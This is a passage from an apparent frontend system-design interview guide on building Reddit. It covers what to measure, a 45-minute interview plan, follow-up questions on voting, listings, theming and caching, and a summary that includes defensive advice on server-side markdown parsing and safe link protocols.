  • Virtualize long sessions: a reader 600 posts deep should not keep 600 cards with media in the DOM. The Infinite scroll and News feed guides cover it.
  • System fonts for body text avoid a font download on the critical path.

What to measure

  • Real-user Core Web Vitals split by page type (post, listing) and by signed-in versus guest.
  • Duplicates dropped per page and empty-page retries: a rise means cursor or caching trouble.
  • Vote rollback rate and 429 rate: a rise means the API is struggling or limits are too tight.
  • Theme repairs per community: how often moderators pick colors that fail contrast, to improve the settings UI.
  • Search landing bounce rate before and after any change to prompts or interstitials.

Check your understanding · Exercise 13

Which make the vote control accessible? Select all that apply.

Running it in the interview

"Design Reddit" is huge, and the trap is spending 20 minutes on the comment tree or a generic feed. Say early that you will treat those as known patterns and spend the time on what makes Reddit different: communities, ranked listings, votes, untrusted content, and search visitors.

MinutesWhat to doWhat to draw or say
0 to 5ScopeAsk about guest traffic, theming freedom, sorts, post types, and moderation. State what is out: comment tree internals, chat, ranking servers.
5 to 10Page and architectureDraw the community page wireframe, then server render plus CDN plus islands. Say why: reading-heavy, search traffic, phones.
10 to 18ListingsHot formula in one sentence, cursors with fullnames, dedupe, sort and window in the URL.
18 to 25VotingThree states, optimistic final-state writes, one in flight, rollback, fuzzed scores, aria-pressed.
25 to 32Communities and safetyTheme tokens with contrast repair; markdown parsed on the server with raw HTML off; link previews on the server.
32 to 40Your choice of depthComposer and uploads, logged-out SEO and interstitials, or moderation, whichever the interviewer leans into.
40 to 45Wrap upPerformance budgets, what you would measure, and what you would build next.

Follow-up questions and strong answers

Interviewers usually push on one area after the overview. These four come up often. Try answering each before you open the model answer.

Think first

A big community demands its custom CSS back. What do you say?

Think first

Readers complain that they see the same post twice when scrolling hot. Walk me through the fix.

Think first

During a big live event, vote traffic triples and the vote API starts returning 429 and timeouts. What does the client do?

Think first

How does a signed-in member get correct vote arrows on first paint if the HTML comes from a shared cache?

Check your understanding · Exercise 14

Which moves make for a strong Reddit interview? Select all that apply.

Summary

  • The community is the unit: its look, rules, flairs, and widgets arrive as typed data that our components render, never as code.
  • Theme with a few tokens mapped to CSS custom properties, and repair any color that fails WCAG contrast, in light and dark mode, before it reaches the page.
  • Hot is log of net votes plus creation time: 12.5 hours newer needs one tenth the votes. Scores don't decay, so rankings shift as votes and new posts arrive.
  • Page listings with fullname cursors, keep sort and window in the URL, and drop duplicates by fullname on the client.
  • Votes are three-state, optimistic, sent as a final value with one request in flight per item, and displayed as server score minus server vote plus my vote, because scores are fuzzed.
  • Parse markdown on the server with raw HTML off, allow only safe link protocols, and make spoilers truly hidden; fetch link previews on the server.
  • Post pages are search landing pages: server-rendered with top comments, edge-cached, canonical URLs, structured data, and no content-blocking app prompts.
  • Server-render everything public and wake only interactive islands; keep viewer data out of shared caches; load composer and mod tools on demand.

Check your answer

Tick what your own design covered. Pick the level you're interviewing for: each level includes the ones before it.

Junior 0 of 3
Mid-level 0 of 4

References

Concepts behind it

Try next